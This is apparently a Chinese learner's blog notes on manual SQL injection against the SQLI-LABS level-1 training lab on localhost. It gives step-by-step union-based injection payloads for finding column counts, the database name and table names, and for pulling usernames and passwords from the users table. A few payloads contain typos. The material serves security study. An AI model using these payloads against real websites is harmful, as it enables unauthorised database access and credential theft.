学习笔记-SQL注入(SQLI-LABS第一关)

初学者掌握手工注入的过程:

  (1)判断是否存在注入点     //(URL,POST表单,HTTP头部字段......)

  (2)判断字段长度(字段数)    //(有可能保存在后台数据库某一个表当中,表当中的某一个或几个字段)

  (3)判断字段回显位置    //

  (4)判断数据库信息

  (5)查找数据库名

  (6)查找数据库表

  (7)查找数据库表中所有字段以及字段值

  (8)猜解账号密码

  (9)登录管理员后台

   

(1)判断是否存在注入点

  以SQLI-LABS第一关为例:

  正常登录

  

 

  URL后添加?id=1',回显错误,判断可能存在SQL注入漏洞, 进一步判断

  

  添加?id=1'and'1'='1,回显正常。

  

 

   添加?id=1'and'1'='2,回显错误,可能存在字符串注入漏洞。

   

 (2)判断字段长度(字段数)

  使用order by 函数判断字段数,?id=1' order by 4 --+     (因为-- 这个注释符空格会被服务器自动删掉,而+在SQL语句中会被解释成空格,所以使用--+来注释掉LIMIT 0,1,%23也可以起到注释作用;1后面的单引号为了保持闭合关系;%23在urlencode编码中被解释成#,url中#是指导浏览器动作的,对服务端无用,所以使用%23;urlencode编码中空格是%20,所以%20也可以;)

  

(3)判断字段回显位置

  这里使用联合查询来看看有无回显位置:?id=1' union select by 1,2,3,4 --+ 发现只执行?di=1......,所以把1改成-1,成功出现回显位置。

  

(4)判断数据库信息

  将语句中3替换为database()来显示数据库名:http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,database()--+;得出结果security

  

(5)查找数据库名

  语句中3替换为http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

  

(6)查找数据库表

  

  

 

(7)查找数据库表中所有字段以及字段值

  http://127.0.0.1/sql/Less-1/?id=-1'union select  1,2,concat_ws(',',id,username,password) from  security.users limit 1,1--+  

  

concat_ws() 是concat()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。

group_concat函数返回一个字符串结果,该结果由分组中的值连接组合而成。

 

第二关过程和第一关差不多

 

 

 

 

posted @ 2022-09-30 17:39  彩凤898  阅读(428)  评论(0编辑  收藏  举报